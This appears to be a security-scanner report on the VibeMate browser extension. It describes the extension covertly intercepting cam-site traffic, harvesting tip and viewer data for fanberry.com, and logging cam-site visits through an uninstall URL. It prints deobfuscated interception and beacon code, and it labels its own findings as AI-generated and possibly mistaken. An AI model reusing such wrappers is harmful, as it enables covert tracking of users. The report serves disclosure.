Is VibeMate safe?

High risk

VibeMate stays dormant until you open a livestream cam site, then reads the page's traffic and forwards chat and tip data to its servers.

On configured adult cam sites (Chaturbate, Stripchat, BongaCams, Cam4, CamSoda, MyFreeCams), VibeMate injects a page script that replaces the site's WebSocket, XMLHttpRequest, Worker and fetch with wrappers that read every response body. It parses out tip events — model name, tip amount and the tipping viewer's username, including other viewers' data — and relays them through an offscreen iframe to fanberry.com. The extension keeps its features hidden until it detects one of these sites, and the list of targeted sites is stored AES-encrypted and can be expanded remotely via messages from fanberry.com or vibemate.com without an update.

roger820126v1.5.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

VibeMate hides cam-site features until a cam site is visited

VibeMate ships locked, withholding cam tools until you open a cam site, fanberry.com, or lovense.com.

Opening one triggers a check against an encrypted site list, an unlock flag, a log to fanberry.com, and an uninstall-URL update.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open any browser tab on a cam site, fanberry.com, or lovense.com.

The extension did this

The extension checks open tabs against its encrypted cam-site list, marks the session unlocked, logs the event, and updates the uninstall URL to record the visit.

This check happens automatically without any user action inside the extension.

02EvidenceCODE COMPARE
The code that does this

Undisguise routine, background.js E() (deobfuscated)

What it actually does
// E() — conditional unlock routine
async function E() {
 // Short-circuit if already unlocked
 if (await r.getItem('local:isShowMoreFeature')) return;

 // Log initial disguised state once
 if (!await r.getItem('local:isSendLockLog')) {
 f.add({ eventId: 'disguise', content: { position: 'sidepanel', click_type: 'lock' } });
 await r.setItem('local:isSendLockLog', true);
 }
 await k(5000); // brief delay

 let unlockReason = '';
 const camSitePatterns = await P(); // decrypted site list from AES blob
 const openUrls = (await n.tabs.query({})).map(t => t.url);
 let matched = false;

 for (const url of openUrls) {
 const isCamSite = camSitePatterns.some(p => S(p, url));
 const isFanberry = /^https:\/\/www\.fanberry\.com\/[^/?#].*$/.test(url) && !url.includes('uninstall');
 const isLovense = (new URL(url).host || '').includes(N); // N = decrypted 'lovense.com'
 if (isCamSite) unlockReason = 'camsite';
 else if (isFanberry) unlockReason = 'fanberry';
 else if (isLovense) unlockReason = 'lovense';
 if (isCamSite || isFanberry || isLovense) { matched = true; break; }
 }

 if (matched) {
 await r.setItem('local:isShowMoreFeature', true); // persist unlocked
 // Log unlock sequence
 f.add({ eventId: 'disguise', content: { click_type: 'unlock' } });
 f.add({ eventId: 'disguise', content: { click_type: 'undisguised', click_name: unlockReason } });
 v(); // update uninstall URL with s=1
 m('UPDATE_UNDISGUISED', true);
 }
}
03EvidenceCODE COMPARE
The code that does this

Uninstall URL encodes whether you ever visited a cam site

What it actually does
// v() — updates the uninstall URL to record whether the user reached a cam site
function v() {
 let url = 'https://www.fanberry.com/uninstall';
 const version = '1.4.4';
 r.getItem('local:isShowMoreFeature').then(unlocked => {
 // s=1 means user visited a cam site; s=0 means they never did
 url += unlocked
 ? `?s=1&v=${version}&t=${Date.now()}`
 : `?s=0&v=${version}&t=${Date.now()}`;
 n.runtime.setUninstallURL(url); // registered as the uninstall beacon
 });
}
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The list of cam sites where the extension activates ships AES-CBC encrypted. Only the extension runtime can read which sites trigger the unlock.

What's actually being sent
The encrypted blob (variable q in background.js, decrypted by V1() from chunks/index-C0YbUdoZ.js using AES-CBC, key = last 16 chars of blob, IV = reversed 16 chars after the length digit) decodes to a JSON object mapping platform names to arrays of URL match patterns — the full list of cam sites that trigger the unlock. dynamic analysis confirmed this list includes chaturbate.com patterns among others.
05EvidenceTHIRD PARTY LIST
Where your cam-site visit status is reported
  • www.fanberry.com

    Receives the uninstall beacon (GET /uninstall?s=1&v=1.4.4&t=...) encoding whether you ever visited a cam site; also the base domain for the extension's operator.

  • customer-api.fanberry.com

    Receives AES-encrypted BI log events (POST /api/camlient/log/report) including the disguise/unlock event sequence. Confirmed by dynamic analysis.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

VibeMate intercepts all cam-site WebSocket and HTTP traffic

On cam sites VibeMate supports, base.js replaces WebSocket, XHR, fetch, and Worker, then forwards tip events (model, amount, sender) to an offscreen fanberry.com iframe from Chaturbate, Stripchat, BongaCams, Cam4, CamSoda, MyFreeCams.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a cam site that VibeMate supports (e.g. Chaturbate, Stripchat, BongaCams).

The extension did this

base.js replaces the page's WebSocket, XMLHttpRequest, fetch, and Worker, forwarding captured responses to an offscreen fanberry.com iframe.

This happens on every page load once the extension's cam-site list matches the current tab URL.

02EvidenceCODE COMPARE
The code that does this

J1(window), WebSocket and fetch override in base.js (lines 2131-2222)

What it actually does
// J1(window) — installed by base.js on every cam-site page
function J1(n) {
 // --- WebSocket: capture every incoming message ---
 n.WebSocket = class extends n.WebSocket {
 constructor(...args) {
 super(...args);
 const socketId = `lvs-ws-${randomId(8)}`;
 this.addEventListener('open', () => { openSockets[socketId] = this; });
 this.addEventListener('close', () => { delete openSockets[socketId]; });
 this.addEventListener('message', evt => {
 X('LVS_VIEWER_WEB_SOCKET_MESSAGE', {
 socketId, socketUrl: this.url,
 messageType: 'ws', platform: currentPlatform,
 data: evt?.data // ← full message payload
 });
 });
 }
 };

 // --- XMLHttpRequest: capture completed responses ---
 n.XMLHttpRequest = class extends n.XMLHttpRequest {
 constructor(...args) {
 super(...args);
 this.addEventListener('readystatechange', () => {
 if (this.readyState !== 4 || this.responseType === 'arraybuffer') return;
 X('LVS_VIEWER_XHR_MESSAGE', {
 messageType: 'http',
 data: { readyState: 4, response: this.response,
 responseURL: this.responseURL || location.origin,
 responseType: this.responseType, status: this.status }
 });
 }, false);
 }
 };

 // --- fetch: clone every response body (JSON or text) ---
 const origFetch = n.fetch;
 n.fetch = async (...args) => {
 const resp = await origFetch(...args);
 const clone = resp.clone();
 let body; let type = '';
 try { body = await resp.clone().json(); type = 'json'; } catch {}
 if (!body) try { body = await resp.clone().text(); type = 'text'; } catch {}
 if (body) X('LVS_VIEWER_XHR_MESSAGE', {
 messageType: 'http',
 data: { readyState: 4, response: body, responseURL: new URL(args[0], location.origin).href,
 responseType: type, status: clone.status }
 });
 return resp; // original response returned to page
 };

 // --- Worker messages ---
 n.Worker = class extends n.Worker {
 constructor(...args) {
 super(...args);
 this.addEventListener('message', evt => {
 X('LVS_VIEWER_WORKER_MESSAGE', { data: evt?.data });
 });
 }
 };

 // ServiceWorker messages
 if ('serviceWorker' in navigator)
 navigator.serviceWorker.addEventListener('message', evt => {
 X('LVS_VIEWER_SERVICE_WORKER_MESSAGE', evt);
 });
}
03EvidenceCODE COMPARE
The code that does this

Tip event parsing for 6 cam platforms, offscreen-8cn6P2JZ.js TipHandler

What it actually does
// Platform-name constants — each DTX$ blob decrypts to the cam-site domain name
const PLATFORMS = {
 CB: decrypt('DTX$71yjytze...'), // → 'chaturbate.com'
 SC: decrypt('DTX$71hRYfow...'), // → 'stripchat.com'
 BC: decrypt('DTX$31SWJGIE...'), // → 'bongacams.com'
 C4: decrypt('DTX$51sOaDID...'), // → 'cam4.com'
 CS: decrypt('DTX$31pbIV6B...'), // → 'camsoda.com'
 MF: decrypt('DTX$612mvQ4x...'), // → 'myfreecams.com'
};

class TipHandler {
 handle(event) {
 // Match event.platform to a key; call the platform-specific parser
 const key = Object.keys(PLATFORMS).find(k => PLATFORMS[k] === event.platform);
 if (key) this[key](event);
 }
 async dispatch(tipInfo) {
 // Fires LVS_VIEWER_TIP_MESSAGE — picked up by the offscreen iframe relay
 E('LVS_VIEWER_TIP_MESSAGE', tipInfo);
 }
 CB({ data, platform, sender }) {
 if (!data.includes('RoomTipAlertTopic')) return;
 const msg = JSON.parse(JSON.parse(data).messages[0].data);
 this.dispatch({
 tabId: sender.tab?.id, platform,
 modelName: msg.to_username,
 amount: msg.amount,
 viewer: msg.from_username, // ← the tipping viewer's name
 time: Date.now()
 });
 }
 // SC, BC, C4, CS, MF follow the same shape:
 // extract { modelName, amount, viewer } and dispatch
}
04EvidenceFIELD TABLE
Data extracted per tip event (Chaturbate example)
FieldValueWhy it matters
Model name
sweetkittyxThe screen name of the performer receiving the tip, visible to anyone monitoring the data.
Tipping viewer username
tipperlover99The screen name of the viewer who sent the tip, another user's identity disclosed without their knowledge.
Tip amount (tokens)
250The number of tokens in the tip, revealing financial transaction details for third-party viewers.
Event timestamp
1749254832471Unix millisecond timestamp of when the tip occurred.
Platform identifier
chaturbate.comThe cam site domain the event came from, used to route to the correct parser.
05EvidenceTHIRD PARTY LIST
Data destination
  • www.fanberry.com

    Hosts the offscreen iframe at /extension/<id>/background.html. Intercepted traffic and parsed tip events post into it via postMessage. Confirmed active in dynamic analysis.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Page-window bridge reads site state

We observed VibeMate load its page-world script during browsing.

It registers GET_BASE_WINDOW_VALUE: given a dotted path from the content script, the page script walks it from window, calls it if callable, and returns the JSON result.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit a page where VibeMate loads its page-world script.

The extension did this

The extension can ask that page script to read a named value from the page window and return it.

02EvidenceNETWORK CAPTURE
Captured request
GETchrome-extension://ejkboneafcafckbjhnfhehlcanejlgmc/base.js
The extension page script was loaded during browsing.
03EvidenceFIELD TABLE
Bridge fields used to select and return page state
FieldValueWhy it matters
Requested window path
detail.data.keyThis tells the page script which value on the page to read for the extension.
Function-call flag
detail.data.isFnThis lets the bridge call the selected page value when it is a function, then return the result.
Returned page value
GET_BASE_WINDOW_VALUE_RESPONSE.detail.dataThis carries the JSON-serialized value back from the page to the extension.
04EvidenceCODE COMPARE
The code that does this

The content script request and page-world bridge

What it actually does
Readable page-world bridgebase.js
function q1() {
    $ = G1(), X("LVS_SITE", {
      currentSite: $
    }), window.addEventListener("GET_LVS_CURRENT_SITE", n => {
      const a = n.detail?.uuid || "";
      X("GET_LVS_CURRENT_SITE_RESPONSE", a ? {
        uuid: a,
        data: $
      } : $)
    }), window.addEventListener("GET_BASE_WINDOW_VALUE", n => {
      const a = n.detail?.uuid || "",
        l = n.detail?.data?.key || "",
        r = n.detail?.data?.isFn || !1,
        c = l.split(".");
      let i = null,
        e = "";
      if (c.reduce((t, u) => (i = t?.[u], i), window), r && typeof i == "function") try {
        e = JSON.stringify(i() || "") || ""
      } catch {
        e = JSON.stringify(i) || ""
      } else e = JSON.stringify(i) || "";
      X("GET_BASE_WINDOW_VALUE_RESPONSE", a ? {
        uuid: a,
        data: e
      } : e)
    }), $ && (window.addEventListener("SEND_LVS_VIEWER_MESSAGE_BY_WEB_SOCKET", n => {
      const {
        socketId: a = "",
        socketUrl: l = "",
        arrToString: r = !1,
        params: c = "",
        paramsPrefix: i = ""
      } = n.detail || {};
      a ? Z[a] && (r ? Z[a]?.send(i + c.join(" ")) : Z[a]?.send(i + JSON.stringify(c))) : l && Object.values(Z).forEach(e => {
        e.url === l && (r ? e.send(i + c.join(" ")) : e.send(i + JSON.stringify(c)))
      })
    }), window.addEventListener("SEND_SYNC_LVS_VIEWER_MESSAGE_BY_WEB_SOCKET", n => {
      const {
        uuid: a = "",
        data: l = null
      } = n.detail || {}, {
        socketId: r = "",
        socketUrl: c = "",
        arrToString: i = !1,
        callbackId: e = "",
        params: w = "",
        paramsPrefix: t = ""
      } = l || {};
      let u = {
          uuid: a
        },
        h = null;
      if (r ? h = Z[r] : c && Object.values(Z).forEach(g => {
          g.url === c && (h = g)
        }), h)
        if (e) {
          const g = p => {
            const S = p.detail || {};
            if (S.socketId === r) {
              const {
                data: B = ""
              } = S || {};
              if (B && F1(B)) {
                let s = JSON.parse(B);
                s.id === e && (window.removeEventListener("LVS_VIEWER_WEB_SOCKET_MESSAGE", g), X("SEND_SYNC_LVS_VIEWER_MESSAGE_BY_WEB_SOCKET_RESPONSE", {
                  ...u,
                  data: s
                }))
              }
            }
          };
          window.addEventListener("LVS_VIEWER_WEB_SOCKET_MESSAGE", g), i ? h.send(t + w.join(" ")) : h.send(t + JSON.stringify(w))
        } else i ? h.send(t + w.join(" ")) : h.send(t + JSON.stringify(w)), X("SEND_SYNC_LVS_VIEWER_MESSAGE_BY_WEB_SOCKET_RESPONSE", {
          ...u,
          data: "success"
        });
      else X("SEND_SYNC_LVS_VIEWER_MESSAGE_BY_WEB_SOCKET_RESPONSE", {
        ...u,
        error: "socket not found"
      })
    }), window.addEventListener("SEND_LVS_VIEWER_MESSAGE_BY_WORKER", n => {
      const {
        workerId: a = "",
        data: l = ""
      } = n.detail || {};
      E1[a] && E1[a]?.postMessage(l)
    }), J1(window))
  }
Readable content-script helpercontent-scripts/common.js
Ar = async (t, e = !1) => {
      try {
        return await nt("GET_BASE_WINDOW_VALUE", {
          key: t,
          isFn: e
        })
      } catch {
        return ""
      }
    }

= "string" ? s = sessionStorage.getItem(r) : s = sessionStorage.getItem(r.key);
            break
          }
          case "GET_WINDOW_VALUE": {
            try {
              typeof r == "string" ? s = await Ar(r) : s = await Ar(r.key, r.isFn)
            } catch {}
            break
          }
          case "GET_DOM_SRC": {
            typeof r == "string" ? s = Rr(r) : s = Rr(r.selector);
            break
          }
          case "GET_DOM_TEXT_CONTENT": {
05EvidenceTHIRD PARTY LIST
Hosts allowed to communicate with the extension
  • fanberry.com

    Allowed by externally_connectable to send extension messages from matching subdomains.

  • vibemate.com

    Allowed by externally_connectable to send extension messages from matching subdomains.

Data recipients

fanberry.comvibemate.com
Updated 17 September 2026ejkboneafcafckbjhnfhehlcanejlgmc